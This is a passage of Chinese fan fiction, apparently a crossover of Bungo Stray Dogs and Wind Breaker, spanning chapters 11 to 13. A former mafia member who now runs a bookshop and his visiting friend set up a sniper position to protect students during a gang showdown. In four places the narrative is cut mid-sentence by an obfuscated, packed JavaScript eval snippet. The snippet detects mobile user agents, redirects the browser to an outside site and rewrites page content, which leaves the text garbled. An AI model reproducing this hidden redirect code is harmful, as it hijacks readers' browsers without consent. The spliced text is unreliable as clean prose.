他继续盯着电视屏幕,隐藏好自己的表情,心中的烦闷愤怒和百般痛恨在见到好友的这天,还是和过去两年的时光一同头也不回地离他而去了。 就好像回到了还在欧洲部门的时候。弥津还是组织新人的时候经常有外派任务,在总部的时间并不多。初见之后,又过了一两年,他们两个的办公室就只有一墙之隔。 总部的办公室被他们当成休息室加杂物间的融合体,毕竟他们办公的地点往往都是“外面的世界”。 难得有共同的休息日才会在办公楼层偶遇,然后停下来聊几句。 其他时候全靠手机联系。 ……怎么还在打字。是要和他说什么? 刚刚又发了一通脾气,但现在冷静得像冰山一样的现欧洲部门代负责人脸上有些挂不住。 于是他起身去开箱子,背对着还在打字的好友。 “那个家伙说你离开横滨的时候什么东西都没带。你的办公室还留着,我临时征用了。” 借着这次回横滨本部述职的机会,他偷偷带了点好东西过来。 欧洲部门里枪法好的人尤其多,简直像把擅长使用各式枪械的成员都送去了欧洲部门。几年前,欧洲部门还办过小型射击比赛,宗旨是以炫技为主。 弥津的能力不需要借助外物,但身边总需要备点什么。就算在无人知自己真实身份的地方,也别太得意忘形了。 “小口径的。我给你带来了,自己留着用。” 水落望音板着脸,拿出箱子里的狙击枪,把心里其实最想说的话拦在嗓子眼。 他怎么可能不知道自己适不适合接手中原干部的工作。他以前说自己升职慢只是在对弥津开玩笑……再升就真成干部了。 只有某个该死的人假装听不出他的本意。 他用不着干部的位置。他,弥津,还有很多人……都不是为了“权力”加入组织。 和他互看不顺眼的臭小子天天在弥津面前挑他的毛病,恶意解读他的每一句话。 干这些事的镜优真的是人吗?不知道的还以为是哪里派来的卧底,除了挑拨关系不干正事。 如果弥津随意听信镜优的一家之言,他们两个早闹翻了。 祝那家伙在任务里死掉。他会看在弥津的面上给镜优申请高额抚恤金。 可说起横滨本部的情况,那又是一地鸡毛。 一边帮忙保养狙击枪,他装作无意问道,“你是不是对太宰治有意见。” 好友抬起头,用那双熟悉的玫红色眼睛平静地凝望着他,似乎在问他怎么会这么说。 “我在前……前任首领还活着的时候,就已经加入组织了。”他说。 他加入组织的年纪比当年的弥津还小一点。 家族里的人死光了,只剩恰好当夜出门未归的他。不被父母双方亲族认可的私生子却在灭门惨案中侥幸逃脱死亡的厄运,这是很庸俗的戏码。他的亲生父母记不住他的生日,他自己也没在意过,只知道是三月份。 他将那夜所发生的一比一还给幕后之人,连同那夜的杀手一同送到地狱。即使他完全可以不多此一举。 他带着水落家最后的光辉登上了前往英国的飞机。自那时起,他一直在欧洲呆着。各个国家,各个分部,几乎是从零开始的建设……到今年,应该有八、九年。 一开始他们都是普通成员,没有回国述职的必要。就算日后逐渐走到很高的位置,在每年述职之外的日子,他始终留在欧洲。 而中原干部当年从国内本部带到欧洲的弥津,在两年后近似于变成他的同级。 他的“同级”,多新鲜的词。 在横滨没有发生剧变之前的欧洲部门,在最后那段平静的生活里……中原干部之下的,仅有他们几个。 “我去欧洲的时候,前首领森鸥外还是老首领的医生。没有太宰治这号人物,也没有中原干部和你。你比较熟悉的谁……”水落望音举出一个例子,“鸿上。鸿上当时已经在欧洲部门里了。” 这里没有外人,水落望音干脆直呼现首领的名字。 “之后,首领换成了森先生,新人也多了。”只有欧洲部门一成不变,像是生活在几千米的海底,“我对森鸥外没意见,对他的眼光也没意见。” 好友加入组织有森鸥外的功劳。 “‘但为什么要向陌生人效忠’……对我说实话吧,弥津,你心里有没有这么想过。毕竟太宰治之于我们,的确和陌生人没区别。轻而易举就接受首领之位的更迭,我很难做到。” 把黑手党看作一份纯粹的工作的人,不用在乎这点。 对保持这般无敌心态的成员来说,无论谁是首领都可以,只要不会脑子一抽让他们明明白白地去送死,就算一个合格 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519366|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的首领。 但弥津在乎,他也在乎。镜优、染崎和鸿上他们,把港口黑手党当家的人都会在乎。 ……可惜了。 目前唯一有资格明面上对太宰治表示不满的中原干部,当时对太宰治的态度并不难看,而且,还不得不留在国内。 因此,在好友也以治病为名离开之后,他不仅要接替中原干部原来的工作,连弥津身边的下属也得一起接收。 欧洲部门不会出现第二个佐久间弥津,也不会有第二个水落望音。 那段时间,被调回横滨部门的人不少。欧洲部门的人员变动勉强完成,但他和弥津原来的下属不想顶替他们的位置,暂时空缺的职位只好等未来有了适合的人再安排。 那双凝视着他的玫红色眼睛眨了眨,不太肯定地点头,手指在平板上拖出新的文本栏。 【我受不了本部的氛围。我以前见过他。不熟,没说过话】 水落望音不可置否。 但本部的情况无论多么复杂,和他们关系不大。欧洲部门的工作强度能帮他推掉大部分和国内本部打交道的情况,交给下属就能处理得很不错。 他对好友说,“中原干部的态度其实在我的意料之外。”他原以为中原干部首先会彻查森首领的死因。 刚想起前几天和中原干部的见面,好友就把打满密密麻麻一屏幕字的平板电脑推给他。 自己则接过狙击枪,继续保养还没有使用痕迹的枪支。 通篇都是叙述,不夹带半点私情,完美又熟悉的工作状态。 水落望音的脸色时好时坏。 最后,他冷哼一声,“呆在这种地方还真是委屈你了。” 弥津在国外执行任务的时候,这些学生恐怕连国中生都不是。现在还是一群区分不出真正的危险在何处的小鬼。 他一扭头就看到了平放在置物柜里的黑伞。 又是这把伞。 “你还带着。”单论伞的使用寿命,真的很长。 佐久间弥津点了点头。 虽然他没看出它有哪里符合“黑手党家族技术”的形容。可是伞没坏,他就不会扔掉,这把伞当年花了不少钱。 他继续打出一行字。 【别太难为优。他会认真工作的】 优只是单纯的讨厌水落……不是讨厌工作。 水落望音就知道那家伙又会找好友诉苦。 【染崎最近怎么样,优没说她的情况】 说起好友以前的下属,水落望音只觉得自己像被一阵剧烈的头疼突然袭击。 “你还是尽快回来吧……你的人一天到晚都在折磨我。” 镜优本来和他就相看两厌,他一样想一枪干掉那小子。 染崎和镜优不一样。少女胆小,年纪也小。 接到新的任务无论难易都会点头应下,工作上是极其省心的,但会议里不管是谁在说话,始终默默不语地睁着眼睛直勾勾地盯着他。 若是他无意间看回去,染崎养的“小宠物”就会从她衣领后面探出头来,一边吐信子,一边用和染崎莫名十分相似的眼神盯着他。 平常在总部偶遇,少女会对他微微鞠躬行礼以示尊重,但那条蛇又会从少女脖颈上探出来,用那双和少女一模一样的紫瞳盯着他。 镜优是明面上和他对着干,染崎便是心里不满意但藏着掖着没敢说。知道好友离开组织的事,经常躲在工作室悄悄哭。 【那是她的异能力,你稍微忍一下。染崎对情绪很敏感,但和优一样聪明,只是天赋点歪了,你可以相信她】 “……你把你的人都夸完了,我还能说什么。” 11. 不在店里的都市传说 樱遥盯着进店的男人,眼神不算友好。 昨日,老板对他们表示,自己和这个男人是朋友。 朋友?仗着老板不方便说话而吵架的朋友吗。 老板早早闭了店,同提着大箱子的朋友一起离开。二者的身影有种说不出的协调,他们只好相信这人和老板是货真价实的朋友。 他一大早蹲在店门口,因为他早已摸索出老板的习惯是在八点前到店。除非当天天气极差。以往总是如此。 可今日却在他的意料之外。 他等来的不是老板。 开锁进门的蓝发男人不搭理他,一进店就坐到老板专属的椅子上,面色阴沉。既不问他的来意,也不赶他走,传递出一种怪到极致的嫌弃和冷漠。 这家伙怎么像老板的代言人一样。 老板去哪了? “晨练。” 男人不太乐意地回答他。 …… 晨练?老板需要晨练吗。 和老板认识的这些天里,他可从没见过老板哪天有去晨练。而且,别说晨练,其他任何时候都没有锻炼过——他从没目睹过。 当然了,如果老板真的有在他们看不到的地方锻炼身体……说明老板开始崇尚健康生活了。既然如此,能把喝酒的习惯也一并改掉吗? 二人僵持不下,很快店里就来了第二个、第三个人。 透过玻璃,苏枋隼飞和榆井秋彦早已发现了某个“鸠占鹊巢”的男人。 他们尚未知晓姓名的男人脸色很臭,不欢迎他们的到来。 今天就是写在战帖中的日子。在尚且平静的白日,他们昨夜特地约好提前来店里和老板见面,没想到,却只见到这个人。 看到他们,水落望音也很烦。 在心里像祈祷般用恶意以唯心的方式驱赶,可这帮韧性十足的小鬼们磨蹭了半天才离开。 看在他们好心帮弥津干过活的份上,他暂时不会做过分的事。 “你为什么要担心一帮十几岁的小鬼。什么战帖。小孩子过家家吧。” 他问。 明明每次在敌人手里吃瘪,都是因为自己不合时宜的心软。如果真能从中得到教训就好了……死里逃生算命够好。 好友对他摇头,表示自己没担心。 新来的两个小鬼也在打听弥津的下落。怎么,难道让他回答说,“你们在找的人一大早出门蹲合适的狙击点位去了”吗? 不如保持沉默。 如此如此,少年们没来得及见老板一面。 但老板的确找到了合适的狙击地点。 距离风铃高中有直线五百米左右的距离。这个距离,对经受过残酷训练的狙击手来说实在轻而易举。 小城里没有特别高的建筑,双手就数得过来。再仔细考量,位置适合的只剩两处。 后退两步助跑借力,他踹开通往废弃楼顶的小门,生锈的合页像是发出不堪重负的哀嚎,被崩飞到下一层楼梯平台。门只留一半合页开合,他捡起一块碎砖卡在门下,门始终向内打开,楼梯间有一点动静就能察觉。 今天空气很闷,天色也不好。 太阳被厚厚的乌云盖过,一丝天光也无法从中穿出。 只看天气,人们猜测不出此刻几时。 大楼外挂着竖向广告牌,但布满锈蚀斑驳痕迹的牌架意味着这里很久没有正常经营过了,能模模糊糊地看出“商场”一词。楼顶能照到日光,也能淋到雨,在楼顶平台的缝隙里,歪歪斜斜生长着生命力旺盛的杂草,颜色碧绿,向上抽条。 提着手提箱,他蹲在地上,望向风铃高中的位置。 角度倒是不错,唯一妨碍到狙击手的只有天气预报上的那场大雨。 他的枪法在组织里实属平庸,更不必说在欧洲部门,离优秀有一大截距离。 但水落给他带来的东西能少量弥补他操作上的不足。而且,这不是必须由他来做。假如今夜的雨来得早,他会和水落交换位置。 捡起躺在楼顶不知被风雨冲刷了多少个春秋的砖块,他在略高一点的边沿平台上重重划下两道白痕。 他很久没摸过枪了。狙击枪也好,手枪也好,欧洲部门里枪法最高明的人并不在他手里。 但优是他熟悉的人里,枪法最好的。单论枪法,优的实力在水落之上。优把那双整日躲在墨镜后面的金瞳用在射击上,没准能试出枪械的上限。 把枪架在白痕的位置,装好瞄准镜,他对着风铃高中天台比划了一下。 需要稍微往左移几公分。 他透过瞄准镜看到了学校天台上的人。 在所谓的袭击还没开始前,天台上仍然有风铃的学生。梅宫也在,脸上挂着一如既往的热烈笑容,仿佛麻烦缠身的不是自己。 他不担心有人发现他在做的事。 这座小城,就是这样。也不知道是不幸还是幸运,“本地帮派”的意识还停留在拳脚上,没人考虑被狙击的危险。 不然,梅宫就应该明白,城镇里有几处可以在远距离把他锁定的位置。提早做出安排,才是最正确的行动。 从目前的情况来讲,似乎没人觉得对手会采用这种不讲理的方式。 可他不是风铃的学生。他是黑手党组织的成员,和梅宫的思考方向自然不同。不过,他不会去说服梅宫考虑这方面的事。逼迫梅宫以更符合极道的想法思考问题,只会让梅宫误入歧途。他不会这样做。 这起冲突来者不善。但仅以梅宫的讲述,就想让他对曾经和梅宫在同一所学校、甚至同一年级的人有所了解,不是在强人所难吗? 他不能肯定风铃的“敌人”究竟抱着什么样的心思,如果对方当真心存杀意,他会阻止的。 梅宫是个不错的人,他这样认为。他不想看着梅宫以这样的年纪赴死。 后来,梅宫没再和他提这件事,是他自愿当这一层保险。这不算破坏“游戏规则”,只算他在力所能及的范围内,感谢风铃高中的少年们自认识以来对他的关照。 他最终确定了狙击枪脚架的位置。乍现的电流刻下一道焦黑。 雨水冲不走,人工也擦不干净。 他缓慢地改变角度。等瞄准镜里出现风铃高中的校门,这个角度也被他刻好痕迹。 雨天的狙击难度会比晴天高很多。这个距离,他会犹豫,但水落没问题。 他怎么来的,就要怎么走,即使高架桥这边的地盘不属于风铃。 水落待不了多久。来找他已经是偷偷摸摸在回国述职之余干的事了。想必,组织现在没空关心他。 把枪收好,他提着箱子不慌不忙地下楼。 希望早上把书店钥匙交给水落不是坏决定。 脚步声在安静的楼梯间似有回声,破败积灰的楼梯间好像穷尽一生都走不完。 他的理智告诉自己,水落把组织的情况告诉他,破坏了组织的规矩……毕竟他离开了组织。 但一想到他们都是会直呼太宰治名字的人,他就放弃了这样的墨守成规。 本部的情况不是太好,水落对他说。 “中原干部很忙。回横滨的这一周,我只见过他三次,两次都是会议中。” 【其他干部不能帮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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十龟条心想。 提着大箱子的银发青年朝他轻轻看过来,没有多言,回过头,继续朝高架桥洞走去。 身形笔直,步履稳健。 他一直目送青年走远,回到风铃的地盘,手机上的消息也没多出一条。 兔耳山丁子脚步轻快地蹦到友人旁边,刚要弯腰凑进去看手机上的消息,突然顺着十龟条的目光看到了有一面之缘的青年。 路灯,银发青年,穿行桥洞。 种种关键词让兔耳山丁子立刻想起上次偶遇的情形。 “又是他啊。他是什么人?” 青年已经走进桥洞,自然没理会他们二人。 但总在相似的地方偶遇,十龟条也会觉得实在太巧。 “是风铃的人也认识的。樱叫他‘老板’。”具体是什么老板,他不清楚。 “‘老板’?”兔耳山丁子惊讶道,“什么老板?” 所以说,他也不知道啊。樱就是那么称呼的,干脆他们也跟着叫“老板”好了。 “是开店的那种老板吗?我以后也想开一家店呢。” 兔耳山丁子在心中畅想。 开什么店,他没想好,但和朋友一起开店绝对是意料之内的好玩。 老板开的是什么店?他兴冲冲地问。咖啡店?粗点心店?还是名牌服装专门店?感觉什么都有可能呢,风铃那边不是有条商店街吗? 少年十分自然地用“老板”开始称呼仅仅见过两面的青年。 十龟条只能重复一遍,“我也不知道。” 但大概率不是餐厅。他想道。 “如果下次还能见面的话,去打听打听吧。” 要怎么才能开一家店? 需要店主成年吗?需要启动资金吧!还要客户和……营业执照!对,就是这个! 12. 会有客户的都市传说 “钱有及时汇出去。” 【谢谢。但我一直是拜托染崎汇的】 你怎么会知道。 “……我天天警惕你手里那些招人烦的家伙,怎么可能不知道。” 不想再提会让友人惆怅心酸的家事,水落望音匆忙找了个其他话题。 他问,下次需不需要带点品质好点的酒来,“冰箱里那堆廉价的啤酒品牌,只有你能忍受得了。” 佐久间弥津则摇摇头,表示用不着。 他喝酒不是为了品酒。由奢入简,还是由俭入奢,对他来说都很容易。 “中原干部回国之后,没人能陪他喝酒了。” 为什么。 “中原干部很忙。收藏名贵的酒只能当成兴趣,喝酒的时机要提前规划。”万一中原干部喝酒之后突然接到首领的紧急命令,光想象一下就觉得完蛋了。 佐久间弥津表示理解。 中午到晚上,没有想象中难熬。少年们必须严阵以待的“敌人”,在他们看来,不过是想要证明自己理想的、同样年轻气盛的人。 这样的家伙,他们在国外见了很多,生命在意想不到时刻夭折之人,也屡见不鲜。 虽然可惜,但这个世界就是如此。 哪怕是天纵奇才,在无情的死亡面前也无计可施。唯一的公平,唯一的平等,就是人人只有一条命。 整件事情的前因后果没戳中他们心中的软肋,现在,只有电脑游戏的输赢才能让他们心跳加速。 通往小隔间的门大开着,水落望音占据了隔间里的单人床,佐久间弥津则继续坐在桌前的椅子,照常摆弄着键盘鼠标。 水落望音想不通。 “你为什么要开书店,新的安全屋?” 在尚未成为水落望音真正意义上的“同级”的日子里,二人并没有那么多深入的交流。靠着不菲的任务奖金和日常薪酬,佐久间弥津很快在总部所在的城市置办了自己的单人住所。 任务结束之后的休息时间,短则半日,长则数周,他会回家呆着。即使家里只有他一个人,他也会回去。 呆在安全的地方,人才能尽快恢复精力。 后来,他的同事偶尔会上门。 再后来,优成了常客,还有难得出门的染崎。 他和水落成为真正的同级已经是过两年的事了。嗓子受伤之后,他申请过二十四小时在总部待命的工作,中也先生没同意,不想看他空有能力,却困在总部当文员。所以,他的一天仍然在他的住所开始,在他的住所结束。 他想了想,摇头否认。 他们这样的人是有准备安全屋的习惯。一个隐没于所有人视线的安全地点,能让他们在紧张刺激的危险关头,仍然有重新掌控呼吸的权力。 但书店不算。 大庭广众之下,从店名到店内的装潢,和安全屋半点不搭边。 和好友不同,水落望音对住宿条件相当挑剔。但凡任务当地有条件,他一定会住最好的酒店,挑最昂贵的酒。他不是在缅怀十三岁以前的日子,只是不想亏待自己。银行卡里的钱像水一样哗哗流走,又像暴雨一样涌入。 而友人知足常乐,生活习惯不像黑手党人。从来不怠慢工作,在其他方面却经常妥协,懒于锱铢必较。只有那张脸上的冷淡表情有点杀伤力,可保质期只有三天。 如果这时候他还要挑剔生活条件,弥津只会摇摇头表示自己无能为力。在弥津的家里只能睡沙发,在书店里要睡窄窄的单人床。 这座小城着实偏远,通勤、生活条件都没办法和别处比。 他躺回仅够一人休息的、舒适度在及格线上下随他心情浮动的床,按亮手机屏幕,认真看精确到小时的天气预报。 “晚上一定会下雨。”他说。 是啊。 “会……下雨。”半夜会有雨。 佐久间弥津用自己好似生锈合页般的嗓子重复了一遍好友的话。 * 苏枋隼飞看出来了。 樱心里不放心佐久间先生,也不放心佐久间先生的朋友。 那个男人的确不简单。 相当轻视他们,初见时眼神凶相毕露,脾气一定不是很好。但如此危险的男人,却被佐久间先生允许帮自己看店,而且,男人自己也同样愿意帮忙看店。 或许真的是“朋友”吧。也会有这种每一处都不相似的朋友。 他问樱,想不想再去书店一次,“万一佐久间先生已经回到店里了呢。” 樱没立即回答他,似乎在犹豫这种时候不按计划会不会坏了大事。 他安慰道,不会的。 学校离商店街那么近,他们很快就会回来,整个过程,用不了二十分钟。 樱被他说动,起身准备和他一起走。 最近的天气一直不算好,天总阴沉沉的,无论什么时候下雨都不奇怪。 可惜,他们去书店的时机仍然不凑巧。 那道身影不存在于安静的书店内,反倒是那个“朋友”在听到他们进门的动静后,从形同单人公寓一般的小隔间推门出来。 蓝发青年脸上还是那副不耐烦,比今日天空更灰暗的眼睛里满是怨气,“……怎么又是你们。” “佐久间先生还没回来吗?” 不可能的,现在已经是下午了。 青年脸色烦闷地反手合上小隔间的门。 “他早回来了。然后又出门了。他想去哪,关你们什么事。” 青年对他们的不满溢于言表,话里话外都带着若有若无的杀意,仿佛是他们把老板的生活搞得一团糟。 老板不在,少年们只能再次打道回府,但不甘心就这样白跑一趟。 “可以帮忙转告老板一句话吗?” 穿校服的小鬼们没有立马转身就走。 盯着面前单眼戴着眼罩的少年,水落望音缓缓说道,“什么话,说来听听。” “之前找过佐久间先生的人,今天没准会再来这里一次。” 青年一改好不容易平静下来的态度,冲他们火大地摆手,“赶紧离开,他今天不会再来店里了。” 这些小鬼们的“关心”落在他耳朵里莫名听出一种羞辱人的意思。好友何曾需要这样微不足道的关心? “他很安全,不需要你们担心。” 赶走来找友人的小鬼们,水落望音亲眼看着他们在离开的路上小声交流着什么。 他摇了摇头,返回隔间,一边对着手机上的地图再次确认弥津给他划定的位置,一边从箱子的夹层里摸出和成人手掌一般大小的盒子,还有消音器…… 到头来,第一次用这把枪的还是他自己。 这一小盒子弹,够弥津用一段时间。如果那个家伙有机会和他一样来这里,一定会像他一样偷偷带来点实用的东西。 他思忖片刻,从盒子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519368|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里挑了三枚子弹,其他的放回原处。他又抬头望向友人的桌子。 耳机也借他用用吧。 他起身去椅子后面的置物柜里翻找,幸运地找到几副还在密封塑料盒里的隔音耳塞。东西还挺全。 水落望音把找到的东西一股脑塞进箱子,在夜幕降临后,提着箱子步入漫长的黑夜之中。 雨还没下。他打着小手电,在天台边缘寻找那处简陋标记的狙击点位。 他的枪法比友人好很多。弥津认可,他也不自谦。 如果今夜当真会下大暴雨,由他来干掉对手的确是更好的安排。 * 不管怎么说,一整天都没能见到老板,挺让人遗憾。 老板的过去那么神秘,在来这里开店之前的经历一定丰富多彩。 但他们还没有资格去打听青年的过去。 现在最重要的,是他们不会被近在咫尺的危机打败。 ……如果。 气喘吁吁的少年心想。 如果在度过如此混乱的一夜后,他第二天还能照常见到佐久间先生像平时一样在无人光顾的书店里玩电脑游戏,他一定要大胆问问佐久间先生的职业是什么。 他们经历的是一场形同“战役”的战斗。 棪堂哉真斗能号召那么多人,在他们几乎所有人的预料之外。但樱会独自一人去寻求狮子头连的助力,他同样没想到。 苏枋隼飞仰起头看着黑漆漆不见一丝星点的夜空。在流速变急的河水中,存在于耳畔的呼喊和打斗中的杂音像是融入哗哗水流中湿透的棉花。 他伸出手去,接住几滴无色无味的雨水。 似乎要来一场大雨了。 桥下的河水淌过,见证这一夜的不平凡。 发生的事着实有点多。 他站在原地,心思像是随着河水一同飘远,连靠近自己的脚步声都没能立即注意到。 “……请问,是有什么事吗。”他侧过身,对走近他的人问道。 其实十龟条和苏枋隼飞不是那么熟。 但那种问题随便找个风铃的人都能问吧。 “你知道‘老板’吗?” 担心自己的话听起来让人生疑,十龟条接着补充了不少信息。 “是被樱叫‘老板’的男人,你知道吗。银色头发,不爱说话……爱观察路灯。” ……观察路灯? 如果只有前半句话,他的确知道狮子头连的副首领指的是谁。 “是想问什么呢。老板的事,我也不是太清楚。” 苏枋隼飞的话滴水不漏,但十龟条根本没在乎这个,因为他只是想问,“那个‘老板’开的是什么店。” 问出心中所想,十龟条发现苏枋隼飞的态度忽而变得颇为热心,让他怀疑自己是不是落入了什么圈套。 “是书店哦。店面在东风商店街,在差不多中间的位置。” 难道老板的书店终于能迎来客人了吗?虽然这个客人可能是狮子头连的人。 在赶回学校的路上,苏枋隼飞认真细致地对潜在的客人解释了一番。 “书店借书看是免费的,不要钱,连押金也不需要。店里的书绝大部分是用来借读的。如果要购买,佐久间先生会替你订购全新的书。以及,佐久间先生不方便说话,但会用其他方式沟通。” 打字,点头或者摇头,最无奈之法,是勉强说点简短的词语。 13. 重拾旧业的都市传说 一整天都没见的老板,他们居然在风铃高中的校园里见到了。 青年独自从校外走进来,立刻引起所有人的注意。 银发青年撑着一把常去书店的少年们从未见过的黑伞,白色长袖衬衫外面套了一件松垮的棕色薄风衣。右胳膊的袖口被挽到胳膊肘的位置,衬衫领口有一点红光一闪而过。 摇摇晃晃勉强站稳的樱遥定睛一看,发现那是一枚很漂亮的圆形红宝石饰品。 老板的眼神没有落在他身上,也没有看向和他一样狼狈的大家,而是抬头,稍稍移开一点伞,望向正在进行另一场战斗的天台。 如果不是左手提着的、画有居酒屋标志的塑料袋暴露老板方才去了何处,樱遥觉得自己不会在结束一场漫长的战斗之后,还有劲对此恼火。 ……老板究竟在想什么。早上不在店里,是去晨练,下午不在店里,是去喝酒?怎么会有这种人! 但很快,他就发现自己忽略了什么——或者是,被迫忽略了什么。 他和棪堂哉真斗已经分出胜负了。 棪堂哉真斗丢下他们,从容又得意地伸出手,一瘸一拐地走向不知为何来到这里的老板。 “是你啊,好久不见!虽然我说过会再去找你,但是我好忙,根本抽不开身呢。” ……他怎么听不懂。 棪堂哉真斗为什么要说“再去找你”? 棪堂哉真斗那天找上门时留过这样的话?老板根本没提过。 一副约好下次再见的态度看着好让人生气…… 你和老板很熟吗? 更糟糕的是,棪堂哉真斗离老板很近。 眼看着那只连指头都布满刺青的手伸向老板的肩膀,他心里喊着危险,疲惫的腿脚却完全跟不上脑子的速度。 唯有外表看似毫发无伤的少年来得及奔向撑伞的青年。 流苏耳坠在奔跑中剧烈摇晃。万幸能赶在棪堂哉真斗接近老板打算干点什么之前拉开二人的距离。 众人耳边突兀地出现一道奇怪的声响,与此同时,棪堂哉真斗脚边的地面在眨眼间发生小范围的爆裂,飞溅的混凝土碎块让人来不及反应发生了什么。 紧接着,仿佛是何物在空中晕开,像是烟花在过于遥远的空中绽放,很闷,很悠远的声音;又像流星划过天际,成为一场笼罩在夜空中的绮丽幻觉。 让人怀疑自己是不是真的在雨中听到了一道让人摸不清来源的响声。 樱遥和将青年拉向自己的苏枋隼飞对视一眼。 从对方眼里看到了如出一辙的惊骇。 可老板的眼睛始终盯着天台,没有他们的位置,没有他,没有苏枋,也没有遍体鳞伤的其他人。 偶尔有雨滴落在他脸上,但还不到需要打伞的程度。 当他发现面对着老板的棪堂哉真斗脸上是从未有过的不敢置信和畏惧时,他就知道自己听到的怪声绝对不是错觉。 棪堂哉真斗收回想要触碰青年的手,停下嬉笑着套近乎的行为,神情变得意味深长,难以捉摸。 樱遥随着棪堂哉真斗的视线看向另一边,在受到暴击的水泥地面上静静地躺着一枚……严重扭曲变形,表层碎裂,的不完整弹头。 这一定是弹头吧?和电影片段里出现的东西很像。 他用力摇了摇头,晃动幅度之大,险些把刚经历一场残酷战斗的自己晃得当场摔倒。 他已经记不清刚才听到的声音了。但正是那道朦胧却令人为之震撼的声音让时刻关注天台的老板注意到了他们。 老板的目光平淡地扫过他们在场的所有人,无论是站着的,还是受伤呆在地上休息的。 然后停在他身上。 “……不错。” 他又听到了老板的声音。 而且,又是“不错”。老板只会用这个词夸奖别人吗?老板的喉咙没有受伤,声音应该会很好听。 苏枋隼飞同样收到了老板的道谢。 一句“谢谢”,仿佛用光了老板今日的发言权。 青年继续撑着伞向前,没有在乎棪堂哉真斗的反应,更没有和在场其他人交流的打算。 “佐久间先生,你是要去天台吗?”苏枋隼飞上前追了两步,问道。 事到如今,见到那枚落在地上的弹头,还有棪堂哉真斗脚边炸裂的一角地面,苏枋隼飞便已然明白,佐久间先生并非一时轻率决定来风铃高中。 在他们看不到的地方,有他们不知道位置的枪手在为青年的安危保驾护航。 他攥着佐久间先生衣袖的手不由得更紧了些。 旁人离得远,看不清是什么击破了地面,但他和棪堂哉真斗都看得清楚。 伞下的青年回过头来,对他点了点头,神态一如既往的平淡。玫红色的眼睛仿佛能将人吸入盛满玫瑰花瓣的无尽漩涡。 ……是在问他要不要一起去吗? 在此刻,苏枋隼飞意识到了一件他们所有人都没考虑的事。 佐久间先生不是他们这样的学生,没必要遵守他们之间无形的规则。 会命令枪手埋伏在某处的人,能命令别人开枪威慑,自然也能命令别人开枪命中。 那双眼里毫无情绪的抒发,述说着即使世界毁灭也不为所动的沉静,站在原地,无声地等待他回答。 他回头看了一眼,接收到他视线的樱对他轻轻点了点头。 他便回答道,“好啊,佐久间先生。一起,去看看梅宫哥吧。” 他离得近,佐久间先生身上的酒气很明显。 ……请不要再喝酒了,佐久间先生。特别是在这么特殊的时候。 棪堂哉真斗低头看着自己脚边迸裂的水泥地面,大拇指粗鲁地捻过脸上方才被对手留下的伤口,终于从险些实打实遭遇枪击的震撼中回神。 学不会吃一堑长一智,他又摆出那副满不在乎的嬉笑态度。 “这可是犯规的,老板,你怎么不用……” 话音未落,口出狂言的棪堂哉真斗身上闪过一瞬的弧光。人霎时倒地,亮眼的电光眨眼间窜向夜空,失去踪迹。 很快便醒来的倒霉蛋脑袋空空,躺在地上,除了樱遥没人想去扶。 “我……也要去天台。” 他盯着落雨的夜空,嘴里蹦出这么一句话。 豆大的雨滴砸在他脸上,他掏出手机,打算命令那些没用的家伙都撤退。再耗下去没用,输了就是输了。 但电话怎么打不通?每个号码都是已关机,怎么搞的。 * 陪青年上楼的少年收到了不在校内的同伴们发来的消息。 内容大致是,给手机充了电终于能用了!有敌人淋了雨之后睡着了—— 云云。 佐久间弥津没在意少年变得凝重的神色。在楼梯间,他收起伞,伞尖指向地面,雨水顺势滴下,在楼梯上留下深褐色的圆点水痕。 楼梯间里多了另外两道踉踉跄跄并不平稳的脚步声。 是刚进楼梯间的樱和棪堂哉真斗,但他们之间已经有了几层楼的距离。 苏枋隼飞收起手机,轻声笑了笑,说道,“佐久间先生,我现在还可以猜你以前的工作吗。” 有几率受伤的跨国“公司”,常年在国外出差,会赚很多钱,有个脾气不好的朋友,还能命令狙击手,有像都市传说一样的奇特能力。 “如果我猜对的话,有什么奖品吗?” 走在他前面的青年注视着他,似乎在思考。又过了几秒,点了点头,意思是同意他的建议。 那就让他靠近点说吧。 楼梯间有回音,他不想让别人也听到这个不太常见的词。 附在青年耳边,他小声问道,“是极道组织成员吗?” 佐久间弥津对少年点点头,又摇摇头。十分接近了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519369|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【有八成相似】 似乎在祝贺他几乎猜出谜底,佐久间先生从塑料袋里拿出一瓶常温气泡水递给了他。 哎呀,他想要的奖品可不是这种。不过,这种事之后再说。 他继续低声问,“佐久间先生,你安排了枪手关注天台上的局势吗。” 